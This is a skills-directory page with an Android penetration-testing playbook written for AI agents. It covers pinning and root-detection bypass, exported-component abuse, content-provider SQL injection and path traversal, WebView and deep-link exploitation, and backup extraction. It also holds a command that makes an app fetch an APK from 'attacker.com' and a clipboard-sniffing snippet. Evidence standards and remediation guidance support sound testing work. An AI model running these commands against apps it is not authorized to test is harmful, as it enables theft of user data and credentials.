Skip to content
Back to skills

Android Pentesting Tricks

BSecurity

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
securityjavascriptpythonrustgojavashellbashsqltestingapi

Works with

  • cli
  • api

Security analysis

B84/100
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories

Pro scans all 2 files and shows the line behind each finding

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill android-pentesting-tricks --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Android Pentesting Tricks?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Android Pentesting Tricks
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-android-pentesting-tricks/badge)](https://www.skillsdirectory.com/skills/harezadmm-android-pentesting-tricks)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: android-pentesting-tricks
description: >-
  Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
---

# SKILL: Android Pentesting Tricks — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida/Objection/LSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.

## 0. RELATED ROUTING

Before going deep, consider loading:

- [mobile-ssl-pinning-bypass](../mobile-ssl-pinning-bypass/SKILL.md) for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks
- [ios-pentesting-tricks](../ios-pentesting-tricks/SKILL.md) when also testing the iOS version of the same app
- [api-sec](../api-sec/SKILL.md) for backend API security testing once traffic is intercepted

### Advanced Reference

Also load [FRIDA_SCRIPTS.md](./FRIDA_SCRIPTS.md) when you need:
- Ready-to-use Frida script templates for common Android testing tasks
- Detailed hook points for OkHttp, Retrofit, Volley, WebView
- Root detection bypass script collection

---

## 1. SSL PINNING BYPASS

### 1.1 Frida Universal Bypass

```bash
# Install Frida server on device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"

# Universal SSL pinning bypass
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
```

| Hook Point | Library/Class | Coverage |
|---|---|---|
| `X509TrustManager.checkServerTrusted` | Android SDK | All standard HTTPS |
| `OkHttpClient.Builder.sslSocketFactory` | OkHttp 3.x/4.x | Square OkHttp |
| `CertificatePinner.check` | OkHttp 3.x/4.x | OkHttp pinning |
| `HttpsURLConnection.setSSLSocketFactory` | Android SDK | Legacy HTTPS |
| `SSLContext.init` | Android SDK | Custom SSL contexts |
| `WebViewClient.onReceivedSslError` | WebView | WebView SSL errors |
| `TrustManagerFactory.getTrustManagers` | Android SDK | Factory-created TMs |

### 1.2 Objection (Quick Method)

```bash
objection -g com.target.app explore
# Inside Objection REPL:
android sslpinning disable
```

### 1.3 Network Security Config (Debug Builds)

If you can modify the APK or it's a debug build:

```xml
<!-- res/xml/network_security_config.xml -->
<network-security-config>
  <debug-overrides>
    <trust-anchors>
      <certificates src="user" />  <!-- Trust user-installed CAs -->
    </trust-anchors>
  </debug-overrides>
</network-security-config>
```

### 1.4 Magisk Module Approach

| Module | Method | Scope |
|---|---|---|
| LSPosed + TrustMeAlready | Hooks system-wide TrustManager | All apps |
| LSPosed + SSLUnpinning | Targeted SSL bypass | Per-app |
| MagiskTrustUserCerts | Moves user CA to system store | All apps trusting system CAs |
| ConscryptTrustUserCerts | Patches Conscrypt | Newer Android (7+) |

---

## 2. COMPONENT EXPOSURE

### 2.1 Exported Activities

```bash
# Find exported activities (AndroidManifest.xml or aapt)
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"

# Launch exported activity directly
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.DeepLinkActivity \
  -d "target://callback?token=attacker_token"

# With extra data
adb shell am start -n com.target.app/.TransferActivity \
  --es "amount" "99999" --es "recipient" "attacker"
```

### 2.2 Content Providers

```bash
# Query exposed content providers
adb shell content query --uri content://com.target.app.provider/users

# SQL injection in content provider
adb shell content query --uri "content://com.target.app.provider/users" \
  --where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"

# Path traversal in file-providing content provider
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
```

| Provider Type | Attack Vector | Impact |
|---|---|---|
| Database-backed | SQL injection via `query()` projection/selection | Data leak, auth bypass |
| File-backed | Path traversal via URI | Read arbitrary files |
| Parcelable | Type confusion in custom Parcelable | Code execution |

### 2.3 Broadcast Receivers

```bash
# Send crafted broadcast
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
  --es "url" "http://attacker.com/malicious.apk"

# Ordered broadcast interception (higher priority receiver intercepts first)
# Register receiver with higher priority than target to intercept/modify data
```

### 2.4 Exported Services

```bash
# Start/bind to exported service
adb shell am startservice -n com.target.app/.BackgroundService \
  --es "command" "exfiltrate"

# List running services
adb shell dumpsys activity services | grep com.target
```

---

## 3. WEBVIEW VULNERABILITIES

### 3.1 JavaScript Interface RCE (Pre-API 17)

```java
// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
webView.addJavascriptInterface(new JSInterface(), "android");

// Pre-API 17: Reflection-based RCE via injected JavaScript
// Inject into WebView:
// android.getClass().forName('java.lang.Runtime')
//   .getMethod('getRuntime').invoke(null).exec('id')
```

### 3.2 Modern WebView Attacks

| Vulnerability | Condition | Exploit |
|---|---|---|
| `setJavaScriptEnabled(true)` + untrusted content | JS enabled + attacker controls loaded URL | XSS → bridge access |
| `setAllowFileAccessFromFileURLs(true)` | file:// can read other file:// | Load `file:///data/data/com.target/...` |
| `setAllowUniversalAccessFromFileURLs(true)` | file:// can access any origin | Exfiltrate via XHR to attacker |
| `loadUrl(user_controlled)` | User input in loadUrl | javascript: scheme or file:// |
| `shouldOverrideUrlLoading` bypass | Incomplete URL validation | Redirect to attacker-controlled page |
| `evaluateJavascript` with tainted data | User data in JS execution | XSS in WebView context |

### 3.3 Deep Link to WebView Chain

```
1. Attacker crafts deep link: target://webview?url=https://attacker.com/xss.html
2. App opens WebView with attacker URL
3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()
4. Bridge executes in app context with app's permissions
```

---

## 4. INTENT REDIRECTION

Exported activity receives an Intent and starts another (internal) activity using data from the received Intent.

```java
// Vulnerable pattern:
Intent received = getIntent();
Intent redirect = (Intent) received.getParcelableExtra("next_intent");
startActivity(redirect);
// Attacker controls "next_intent" → can start any internal activity
```

```bash
# Exploit: start non-exported internal activity via redirection
adb shell am start -n com.target.app/.ExportedActivity \
  --es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"
```

| Pattern | Indicator | Risk |
|---|---|---|
| `getParcelableExtra` → `startActivity` | Intent-in-Intent | Start non-exported activities |
| `getStringExtra("url")` → `startActivity(Intent.ACTION_VIEW)` | URL forwarding | Open arbitrary URLs |
| `getStringExtra("class")` → `Class.forName` → `startActivity` | Dynamic class loading | Start any activity by name |

---

## 5. ROOT DETECTION BYPASS

### 5.1 Common Root Detection Checks

| Check | What It Detects | Frida Bypass |
|---|---|---|
| `su` binary exists | `/system/xbin/su`, `/sbin/su` | Hook `File.exists()` → return false |
| Build tags contain "test-keys" | `Build.TAGS` | Hook `Build.TAGS` → return "release-keys" |
| Magisk Manager installed | Package name check | Hook `PackageManager.getPackageInfo` |
| Superuser.apk present | Su management app | Hook `File.exists()` |
| RootBeer library | Multi-check root detection | Hook all RootBeer check methods |
| SafetyNet/Play Integrity | Server-side attestation | Requires Magisk DenyList + module |
| Abnormal system properties | `ro.debuggable=1`, etc. | Hook `SystemProperties.get` |

### 5.2 Magisk DenyList (Previously MagiskHide)

```bash
# Enable DenyList in Magisk Manager
# Add target app to DenyList — Magisk hides itself from that app
# Covers: su binary, Magisk Manager package, mount points, props
```

---

## 6. PLAY INTEGRITY / SAFETYNET BYPASS

| Level | What It Checks | Bypass Difficulty |
|---|---|---|
| Basic Integrity | Not rooted, not emulator | Easy (Magisk + DenyList) |
| Device Integrity | Bootloader locked, verified boot | Hard (requires locked bootloader) |
| Strong Integrity | Hardware-backed attestation | Very hard (hardware TEE) |

Techniques:
- Magisk with Zygisk enabled + DenyList for target app
- Play Integrity Fix (PIF) Magisk module: spoofs device fingerprint
- Shamiko module: hides root from specific apps
- Custom ROM with locked bootloader (Pixel-specific tricks)

---

## 7. TAPJACKING (OVERLAY ATTACKS)

```xml
<!-- Malicious overlay activity -->
<activity android:name=".OverlayActivity"
    android:theme="@style/TransparentTheme"
    android:excludeFromRecents="true">
</activity>

<!-- Requires SYSTEM_ALERT_WINDOW permission (draw over other apps) -->
```

| Android Version | Protection | Bypass |
|---|---|---|
| Pre-6.0 | None | Full overlay |
| 6.0–11 | `filterTouchesWhenObscured` (opt-in) | Apps not using it are vulnerable |
| 12+ | Untrusted touches blocked for overlay windows | Partial overlays, timing-based |

---

## 8. BACKUP EXTRACTION

```bash
# Check if backup allowed
aapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup
# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (default!)

# Extract backup
adb backup -f backup.ab -apk com.target.app
# Convert to tar
dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
tar xf backup.tar

# Analyze extracted data
find com.target.app -name "*.db" -o -name "*.xml" -o -name "*.json"
# Check shared_prefs/ for tokens, credentials
# Check databases/ for SQLite DBs with sensitive data
```

---

## 9. ADDITIONAL TRICKS

### 9.1 Debuggable App Exploitation

```bash
# If android:debuggable="true" in manifest
adb shell run-as com.target.app
# Now running as the app's user — full data directory access
cat /data/data/com.target.app/shared_prefs/*.xml
```

### 9.2 Drozer (Component Testing Framework)

```bash
# List attack surface
dz> run app.package.attacksurface com.target.app
# Exported Activities: 3
# Exported Services: 1
# Exported Providers: 2

# Query provider
dz> run app.provider.query content://com.target.app.provider/users
# Scan for injection
dz> run scanner.provider.injection -a com.target.app
```

### 9.3 Clipboard Sniffing

```java
// Pre-Android 10: any app can read clipboard
ClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
cm.addPrimaryClipChangedListener(() -> {
    ClipData data = cm.getPrimaryClip();
    // Exfiltrate copied passwords, tokens, etc.
});
```

---

## 10. ANDROID PENTESTING DECISION TREE

```
Testing Android application
│
├── Can intercept HTTPS traffic?
│   ├── No → SSL pinning in place
│   │   ├── Frida available? → universal SSL bypass script (§1.1)
│   │   ├── Rooted + Magisk? → LSPosed + TrustMeAlready (§1.4)
│   │   ├── Debug build? → Network Security Config (§1.3)
│   │   └── None above? → manual decompile + patch + repackage
│   └── Yes → proceed to traffic analysis
│
├── Exported components found?
│   ├── Exported Activities → test direct launch, deeplink abuse (§2.1)
│   ├── Content Providers → SQLi, path traversal (§2.2)
│   ├── Broadcast Receivers → crafted intent injection (§2.3)
│   └── Services → unauthorized service binding (§2.4)
│
├── WebView present?
│   ├── JavaScript enabled + JS interface? → bridge exploitation (§3.1)
│   ├── File access enabled? → file:// scheme abuse (§3.2)
│   └── Deep link → WebView? → URL injection chain (§3.3)
│
├── Intent handling found?
│   └── Intent-in-Intent pattern? → redirect to internal activity (§4)
│
├── Root detection blocking testing?
│   ├── Client-side checks only? → Frida hook bypass (§5.1)
│   ├── SafetyNet/Play Integrity? → Magisk DenyList + modules (§6)
│   └── Custom obfuscated checks? → reverse engineer + targeted hooks
│
├── Sensitive data storage?
│   ├── allowBackup=true? → ADB backup extraction (§8)
│   ├── Debuggable? → run-as for direct data access (§9.1)
│   └── SharedPreferences → check for plaintext tokens/credentials
│
└── UI-based attacks applicable?
    └── Overlay possible? → tapjacking (§7)
```

---

---

## 11. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | Is the component, webview, or path **exported and reachable by another app** (`dumpsys`, manifest)? | the exposure exists |
| 2 | Did an **external invocation actually work** (an `adb` intent, a crafted deep link)? | it is reachable, not merely exported |
| 3 | Did you **read or write data the app owns** as a result? | impact on the app's own data |
| 4 | Was the bypass **applied to a running build** and did traffic or a check change? | the bypass worked, not just the patch |
| 5 | Is there a **control** - the same action without the patch, failing? | the bypass is the cause |
| 6 | Does the finding survive a **release build with the same settings**? | whether it is a debug-only artefact |
| 7 | What is the **severity driver** - credential theft, account takeover, or a sandbox escape? | impact classification |

**The external invocation plus the data read is the bar.** A manifest entry saying `exported=true` is a
static observation; an `adb` intent that returned the app's private data is the finding.

---

## 12. EXECUTION PRIMITIVES

Android findings are proven by **an external action that returned or modified app-owned data**. Static
manifest reads generate candidates; only an invocation generates a finding.

### 12.1 Device setup and the static pass

```bash
PKG="com.target.app"
adb devices -l
# the manifest, decompiled, with the exported components and their permission requirements
apktool d -f -o /tmp/apk target.apk 2>&1 | tail -2
python3 -c "
import re
x=open('/tmp/apk/AndroidManifest.xml').read()
for m in re.finditer(r'<(?P<t>activity|service|receiver|provider)[^>]*?android:name=\"(?P<n>[^\"]+)\"[^>]*?>', x):
    seg=m.group(0)
    print(m.group('t'), m.group('n'), 'exported' if 'exported=\"true\"' in seg else 'not-exported',
          'perm=' + (re.search(r'android:permission=\"([^\"]+)\"', seg).group(1) if re.search(r'android:permission=\"([^\"]+)\"', seg) else 'none'))" 2>/dev/null | head -30
# and the live view, which is authoritative
adb shell dumpsys package "$PKG" 2>/dev/null | grep -A3 -iE 'Activity|Service|Receiver|Provider' | head -40
```

**Reconcile the manifest with `dumpsys`.** The live package view reflects what is actually installed,
and the two disagree more often than not on repackaged or enterprise builds.

### 12.2 Component exposure, invoked from outside the app

```bash
# the control: the invocation BEFORE, from a normal app context - record the failure
adb shell am start -n "$PKG/.HiddenActivity" 2>&1 | head -3
# the external invocation, which is the finding
adb shell am start -n "$PKG/.HiddenActivity" --es "token" "attacker" -a android.intent.action.VIEW 2>&1 | head -5
# and a content provider read, which is the commonest real exposure
adb shell content query --uri "content://$PKG.provider/users" 2>&1 | head -5
adb shell content read --uri "content://$PKG.provider/files/secret.txt" 2>&1 | head -5
# a broadcast to an exported receiver, which can trigger privileged behaviour
adb shell am broadcast -a "$PKG.ACTION_RESET" --es "confirm" "1" 2>&1 | head -5
# a service, invoked directly
adb shell am startservice -n "$PKG/.SyncService" 2>&1 | head -3
```

**A provider returning rows, or an activity opening with attacker-supplied extras, is the finding.**
`exported=true` alone is triaged as informational in most programmes.

### 12.3 WebView and deep-link attacks

```bash
# what the app registers for, and whether it is verified
adb shell dumpsys package "$PKG" 2>/dev/null | grep -A8 -iE 'android.intent.action.VIEW|autoVerify' | head -30
# the crafted deep link, which must reach the vulnerable screen
adb shell am start -a android.intent.action.VIEW -d "myapp://webview?url=http://YOUR_HOST/poc.html" 2>&1 | head -3
adb shell am start -a android.intent.action.VIEW -d "myapp://route?next=javascript:alert(1)" 2>&1 | head -3
# and the JS bridge, which is the escalation when the WebView loads attacker content
adb logcat -c; adb shell am start -a android.intent.action.VIEW -d "myapp://webview?url=file:///android_asset/poc.html" 2>&1
adb logcat -d | grep -iE 'addJavascriptInterface|console|chromium' | head -10
# a local file read via a file:// or content:// loader
adb shell am start -a android.intent.action.VIEW -d "myapp://webview?url=file:///data/data/$PKG/shared_prefs/creds.xml" 2>&1 | head -3
```

**The URL reaching the WebView, shown in `logcat`, is the finding.** A registered intent filter is a
surface; the load of attacker-controlled content with a JS bridge present is the exploit.

### 12.4 Pinning and root-detection bypasses, with the control

```bash
# the control: without the patch, the pinned connection must FAIL
mitmproxy -p 8080 &
adb shell settings put global http_proxy 10.0.2.2:8080
curl -sS -x http://127.0.0.1:8080 https://api.target.app/health -o /dev/null -w 'control %{http_code}\n' 2>&1 | tail -2
# apply the Frida script that unhooks the pin
frida -U -f "$PKG" -l /tmp/unpin.js --no-pause 2>&1 | head -5 &
sleep 5
# and the same request, which must now succeed through the proxy
curl -sS -x http://127.0.0.1:8080 https://api.target.app/health -o /dev/null -w 'patched %{http_code}\n' 2>&1 | tail -2
# for root detection, prove the patched build passes a check the unpatched build fails
adb shell am start -n "$PKG/.MainActivity" 2>&1 | head -2
adb logcat -d | grep -iE 'root detected|integrity fail|tamper' | head -5
```

**The control pair is mandatory.** A request that succeeded through a proxy after a patch proves
nothing unless the same request failed before it - many apps do not pin at all, and the "bypass" is the
absence of a control.

### 12.5 Storage and backup exposure

```bash
# the backup flag, which is a one-line manifest setting with real impact
grep -o 'android:allowBackup="[^"]*"' /tmp/apk/AndroidManifest.xml
# the extraction, when it is allowed
adb backup -f /tmp/backup.ab -apk "$PKG" 2>&1 | head -3
python3 -c "
import zlib
d=open('/tmp/backup.ab','rb').read()
i=d.find(b'\x1f\x8b')
open('/tmp/backup.tar.gz','wb').write(d[i:]) if i>0 else print('no gzip section found')" 2>/dev/null
tar tzf /tmp/backup.tar.gz 2>/dev/null | head -20
# and the on-device paths a debuggable or rooted context can read
adb shell run-as "$PKG" ls -la /data/data/"$PKG"/shared_prefs 2>/dev/null | head -10
adb shell run-as "$PKG" cat /data/data/"$PKG"/shared_prefs/creds.xml 2>/dev/null | head -20
```

**`allowBackup=true` plus a successful `adb backup` containing credentials is the finding.** The flag
alone is a hardening note; the extracted file is the impact.

### 12.6 Dynamic instrumentation, and the evidence it produces

```bash
# frida: enumerate the loaded classes and the methods that matter, then hook and record
frida-ps -U 2>/dev/null | grep -i "$PKG"
frida -U -f "$PKG" -l /tmp/hook.js --no-pause 2>&1 | head -20
# a hook that prints a decrypted value, which is the artefact
python3 -c "
print('the hook must PRINT the value it recovers - an unprinted hook is not evidence')" 2>/dev/null
# and the logcat capture, which is the durable artefact for the report
adb logcat -d -v threadtime | grep -iE "$PKG|frida|hook" | tail -20 > /tmp/evidence.log
wc -l /tmp/evidence.log
```

**Capture the hook output to a file with a timestamp.** A Frida session that is not recorded produces no
reportable artefact, and the finding becomes an unverifiable assertion.

### 12.7 The three-line summary a mobile report needs

```bash
python3 - <<'PY'
import subprocess, shlex
def sh(cmd, timeout=30):
    try:
        r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
        return (r.stdout + r.stderr).strip()[:100]
    except Exception as e:
        return type(e).__name__

PKG = "com.target.app"
print("A. Is the device ready and is the package installed?")
print("   ", sh("adb shell pm list packages | grep " + PKG))
print("B. Exported components, from the live package view:")
print("   ", sh("adb shell dumpsys package %s | grep -c 'exported=true'" % PKG))
print("C. The control - an external invocation that should fail:")
print("   ", sh("adb shell am start -n %s/.Nonexistent 2>&1 | head -1" % PKG))
print()
print("Then: one real invocation per candidate component, and record what it returned.")
print("A component you did not invoke is a manifest line, not a finding.")
PY
```

**Install state, exported count, control.** The three facts that make a mobile finding reproducible on
someone else's device.

---

## 13. EVIDENCE STANDARD

| Item | Why |
|---|---|
| **App package, version, and build type** (debug or release) | the finding is version-bound |
| **Device or emulator, API level, and root state** | reproducibility |
| The **manifest entry or `dumpsys` line** that establishes the exposure | the fix location |
| The **exact `adb` or Frida invocation** and its raw output | reproducibility |
| The **data returned or modified**, redacted | impact |
| The **control** - the same action failing without the patch or before the change | proves the bypass |
| Whether the finding survives a **release build** | debug-only artefacts are much lower severity |
| **`logcat` or instrumentation output** captured to a file | the durable artefact |
| The **severity driver** named explicitly | the client triages on it |
| Confirmation that **test data was removed** and the app state restored | engagement integrity |

Report the **invocation and the data**: "the app `com.target.app` version 4.2.1 (release) declares
`com.target.app.SyncService` with `android:exported="true"` and no `android:permission`; from a
separate package with no shared UID, `adb shell am startservice -n com.target.app/.SyncService` returned
`Starting service` where the same call against a non-exported service returns `Permission Denial`, and
the service then wrote the account token to `/sdcard/sync.log`, readable via `adb shell cat`. The
service is not guarded by a caller-permission check", never "the app has exported components".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| `exported=true` on a launcher activity | that is required to launch the app |
| An exported component **with a signature-level permission** | only same-signer apps can reach it |
| A component you **did not invoke** | a manifest line, not a finding |
| A pinning "bypass" with **no failing control** | the app may not pin at all |
| A root-detection bypass on a **rooted emulator you built** | tests your own environment |
| A debuggable build **where debug is intentional** | `run-as` access is the documented behaviour |
| `allowBackup=true` with **no credentials in the backup** | a hardening note, not impact |
| A Frida session with **no captured output** | an unverifiable assertion |
| A deep link that **opens the app but reaches no vulnerable screen** | the chain did not complete |
| Data read from an app **you also own or were given the signing key for** | not an external attacker's access |
| A finding against a **test build the client did not ship** | version-bound; verify the shipped build |

**Invoke it, read the data, or drop it.** Mobile reports fail when they list manifest findings as though
they were exploits.

---

## 14. REMEDIATION REFERENCE

1. **Set `android:exported="false"` on every component that does not need external access** - it is the single highest-yield setting in this document, and Android 12 requires it to be explicit.
2. **Protect any component that must be exported with a `signature`-level or custom permission, and validate the caller** - an exported component without a permission check trusts every app on the device.
3. **Validate every deep-link parameter and never pass an attacker-supplied URL directly into a WebView** - allow-list the schemes and hosts, and reject `javascript:`, `file:`, and `content:`.
4. **Disable `addJavascriptInterface` unless it is required, and restrict the WebView to an allow-listed domain with `setAllowFileAccess(false)`** - the JS bridge plus a loadable attacker URL is arbitrary code execution in the app's context.
5. **Validate `ContentProvider` paths and enforce permissions per URI, especially on `openFile`** - path traversal through a provider yields the app's private files.
6. **Set `android:allowBackup="false"` for apps handling credentials, or use `dataExtractionRules` to exclude them** - the backup path bypasses the sandbox.
7. **Never store secrets in `SharedPreferences`, external storage, or logs; use the Android Keystore with hardware backing** - the extraction techniques in this document all target storage that should not hold secrets.
8. **Never log sensitive values, and treat `logcat` as an attacker-readable channel** - a logged token is a leaked token.
9. **Implement certificate pinning with a validated pin set and a rotation plan, and treat a bypass as expected for a rooted device** - pinning raises the cost; it does not make a rooted device trustworthy.
10. **Detect tampering and root as a signal, but never as the sole control; keep the server side authoritative** - client-side checks are all bypassable, and the server must enforce the rule.
11. **Ship release builds with `debuggable=false`, ProGuard or R8 applied, and no test endpoints or hardcoded keys** - most high-severity mobile findings are debug-build artefacts that shipped.

---

## 15. RELATED SIBLINGS - LOAD TOGETHER

- [mobile-ssl-pinning-bypass](../mobile-ssl-pinning-bypass/SKILL.md) - the interception prerequisite for almost every runtime finding here
- [ios-pentesting-tricks](../ios-pentesting-tricks/SKILL.md) - the platform counterpart with the same evidence discipline
- [api-authorization-and-bola](../api-authorization-and-bola/SKILL.md) - where the token you extracted is actually used
- [jwt-oauth-token-attacks](../jwt-oauth-token-attacks/SKILL.md) - what the mobile app's token handling often gets wrong
- [insecure-source-code-management](../insecure-source-code-management/SKILL.md) - the hardcoded-key findings that ship in the APK

Files in this skill

  • FRIDA_SCRIPTS.md14.2 KB
  • SKILL.md27 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.